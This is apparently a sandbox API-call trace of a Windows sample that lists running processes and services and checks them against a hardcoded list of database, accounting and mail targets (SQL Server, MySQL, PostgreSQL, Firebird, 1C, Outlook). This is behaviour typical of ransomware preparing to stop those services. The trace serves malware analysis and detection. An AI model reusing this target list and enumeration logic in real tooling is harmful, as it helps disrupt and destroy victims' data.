	[0265.053] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0265.053] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0265.053] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0265.053] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0265.053] lstrlenW (lpString="Themes") returned 6
	[0265.054] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0265.054] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0265.054] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0265.054] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0265.054] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0265.054] lstrlenW (lpString="UxSms") returned 5
	[0265.054] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1
	[0265.054] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1
	[0265.054] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1
	[0265.054] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1
	[0265.054] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1
	[0265.054] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x41f5d68 | out: hHeap=0x4a0000) returned 1
	[0265.054] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x360
	[0265.055] Process32FirstW (in: hSnapshot=0x360, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0265.055] Process32NextW (in: hSnapshot=0x360, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0265.055] lstrlenW (lpString="System") returned 6
	[0265.055] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1
	[0265.055] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1
	[0265.055] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1
	[0265.055] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1
	[0265.055] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1
	[0265.056] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1
	[0265.056] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1
	[0265.056] Process32NextW (in: hSnapshot=0x360, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0265.056] lstrlenW (lpString="smss.exe") returned 8
	[0265.056] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1
	[0265.056] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1
	[0265.056] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1
	[0265.056] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1
	[0265.056] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1
	[0265.056] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1
	[0265.056] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1
	[0265.056] Process32NextW (in: hSnapshot=0x360, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0265.056] lstrlenW (lpString="csrss.exe") returned 9
	[0265.056] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0265.056] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0265.056] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0265.056] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0265.056] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0265.057] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0265.057] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0265.057] Process32NextW (in: hSnapshot=0x360, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0265.057] lstrlenW (lpString="wininit.exe") returned 11
	[0265.057] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1
	[0265.057] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1
	[0265.057] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1
	[0265.057] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1
	[0265.057] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1
	[0265.057] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1
	[0265.057] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1
	[0265.057] Process32NextW (in: hSnapshot=0x360, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0265.057] lstrlenW (lpString="csrss.exe") returned 9
	[0265.057] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0265.057] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0265.057] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0265.057] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0265.057] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0265.057] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0265.058] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0265.058] Process32NextW (in: hSnapshot=0x360, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0265.058] lstrlenW (lpString="winlogon.exe") returned 12
	[0265.058] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1
	[0265.058] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1
	[0265.058] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1
	[0265.058] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1
	[0265.058] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1
	[0265.058] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1
	[0265.058] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1
	[0265.058] Process32NextW (in: hSnapshot=0x360, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0265.058] lstrlenW (lpString="services.exe") returned 12
	[0265.058] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1
	[0265.058] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1
	[0265.058] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1
	[0265.058] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1
	[0265.059] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1
	[0265.059] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1
	[0265.059] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1
	[0265.059] Process32NextW (in: hSnapshot=0x360, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0265.059] lstrlenW (lpString="lsass.exe") returned 9
	[0265.059] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1
	[0265.059] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1
	[0265.059] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1
	[0265.059] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1
	[0265.059] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1
	[0265.059] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1
	[0265.059] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1
	[0265.059] Process32NextW (in: hSnapshot=0x360, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0265.059] lstrlenW (lpString="lsm.exe") returned 7
	[0265.059] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1
	[0265.059] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1
	[0265.059] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1
	[0265.059] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1
	[0265.059] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1
	[0265.059] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1
	[0265.060] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1
	[0265.060] Process32NextW (in: hSnapshot=0x360, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0265.060] lstrlenW (lpString="svchost.exe") returned 11
	[0265.060] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0265.060] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0265.060] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0265.060] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0265.060] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0265.060] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0265.060] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0265.060] Process32NextW (in: hSnapshot=0x360, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0265.060] lstrlenW (lpString="svchost.exe") returned 11
	[0265.060] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0265.060] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0265.060] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0265.060] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0265.060] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0265.060] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0265.060] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0265.061] Process32NextW (in: hSnapshot=0x360, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0265.061] lstrlenW (lpString="svchost.exe") returned 11
	[0265.061] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0265.061] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0265.061] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0265.061] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0265.061] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0265.061] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0265.061] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0265.061] Process32NextW (in: hSnapshot=0x360, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0265.061] lstrlenW (lpString="svchost.exe") returned 11
	[0265.061] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0265.062] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0265.062] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0265.062] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0265.062] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0265.062] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0265.062] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0265.062] Process32NextW (in: hSnapshot=0x360, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0265.062] lstrlenW (lpString="svchost.exe") returned 11
	[0265.062] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0265.062] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0265.062] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0265.062] Process32NextW (in: hSnapshot=0x360, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0265.062] lstrlenW (lpString="audiodg.exe") returned 11
	[0265.063] Process32NextW (in: hSnapshot=0x360, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0265.063] lstrlenW (lpString="svchost.exe") returned 11
	[0265.063] Process32NextW (in: hSnapshot=0x360, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1
	[0265.063] lstrlenW (lpString="userinit.exe") returned 12
	[0265.063] Process32NextW (in: hSnapshot=0x360, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0265.063] lstrlenW (lpString="explorer.exe") returned 12
	[0265.063] Process32NextW (in: hSnapshot=0x360, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0265.064] lstrlenW (lpString="dwm.exe") returned 7
	[0265.064] Process32NextW (in: hSnapshot=0x360, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x44c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0265.064] lstrlenW (lpString="svchost.exe") returned 11
	[0265.064] Process32NextW (in: hSnapshot=0x360, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x378, pcPriClassBase=8, dwFlags=0x0, szExeFile="swpesp.exe")) returned 1
	[0265.064] lstrlenW (lpString="swpesp.exe") returned 10
	[0265.064] Process32NextW (in: hSnapshot=0x360, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0265.064] lstrlenW (lpString="spoolsv.exe") returned 11
	[0265.064] Process32NextW (in: hSnapshot=0x360, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0265.065] lstrlenW (lpString="taskhost.exe") returned 12
	[0265.065] Process32NextW (in: hSnapshot=0x360, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0265.065] lstrlenW (lpString="svchost.exe") returned 11
	[0265.065] Process32NextW (in: hSnapshot=0x360, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1
	[0265.065] lstrlenW (lpString="reader_sl.exe") returned 13
	[0265.065] Process32NextW (in: hSnapshot=0x360, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0
	[0265.065] CloseHandle (hObject=0x360) returned 1
	[0265.066] Sleep (dwMilliseconds=0x1f4) 
	[0265.886] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4280a18
	[0266.360] EnumServicesStatusExW (in: hSCManager=0x4280a18, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0) returned 0
	[0266.362] GetLastError () returned 0xea
	[0266.362] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xcec) returned 0x41f5d68
	[0266.362] EnumServicesStatusExW (in: hSCManager=0x4280a18, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41f5d68, cbBufSize=0xcec, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41f5d68, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0) returned 0
	[0266.389] GetLastError () returned 0xea
	[0266.389] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x41f5d68, Size=0xd72) returned 0x41f5d68
	[0266.389] EnumServicesStatusExW (in: hSCManager=0x4280a18, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41f5d68, cbBufSize=0xd72, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41f5d68, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0) returned 1
	[0266.390] CloseServiceHandle (hSCObject=0x4280a18) returned 1
	[0266.390] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0266.390] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0266.390] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0266.390] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0266.390] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0266.390] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0266.390] lstrlenW (lpString="AudioSrv") returned 8
	[0266.390] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1
	[0266.390] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1
	[0266.390] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1
	[0266.390] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1
	[0266.390] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1
	[0266.390] lstrlenW (lpString="BFE") returned 3
	[0266.390] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0266.390] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0266.390] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0266.390] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0266.391] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0266.391] lstrlenW (lpString="CryptSvc") returned 8
	[0266.391] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0266.391] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0266.391] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0266.391] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0266.391] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0266.391] lstrlenW (lpString="CscService") returned 10
	[0266.391] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1
	[0266.391] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1
	[0266.391] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1
	[0266.391] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1
	[0266.391] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1
	[0266.391] lstrlenW (lpString="DcomLaunch") returned 10
	[0266.391] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0266.391] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0266.391] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0266.391] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0266.391] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0266.391] lstrlenW (lpString="Dhcp") returned 4
	[0266.391] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0266.391] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0266.391] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0266.391] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0266.391] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0266.391] lstrlenW (lpString="Dnscache") returned 8
	[0266.391] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0266.391] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0266.391] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0266.391] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0266.391] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0266.391] lstrlenW (lpString="DPS") returned 3
	[0266.392] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0266.392] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0266.392] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0266.392] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0266.392] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0266.392] lstrlenW (lpString="eventlog") returned 8
	[0266.392] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1
	[0266.392] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1
	[0266.392] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1
	[0266.392] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1
	[0266.392] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1
	[0266.392] lstrlenW (lpString="EventSystem") returned 11
	[0266.392] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0266.392] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0266.392] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0266.392] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0266.392] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0266.392] lstrlenW (lpString="gpsvc") returned 5
	[0266.392] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0266.392] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0266.392] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0266.392] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0266.392] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0266.392] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0266.392] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
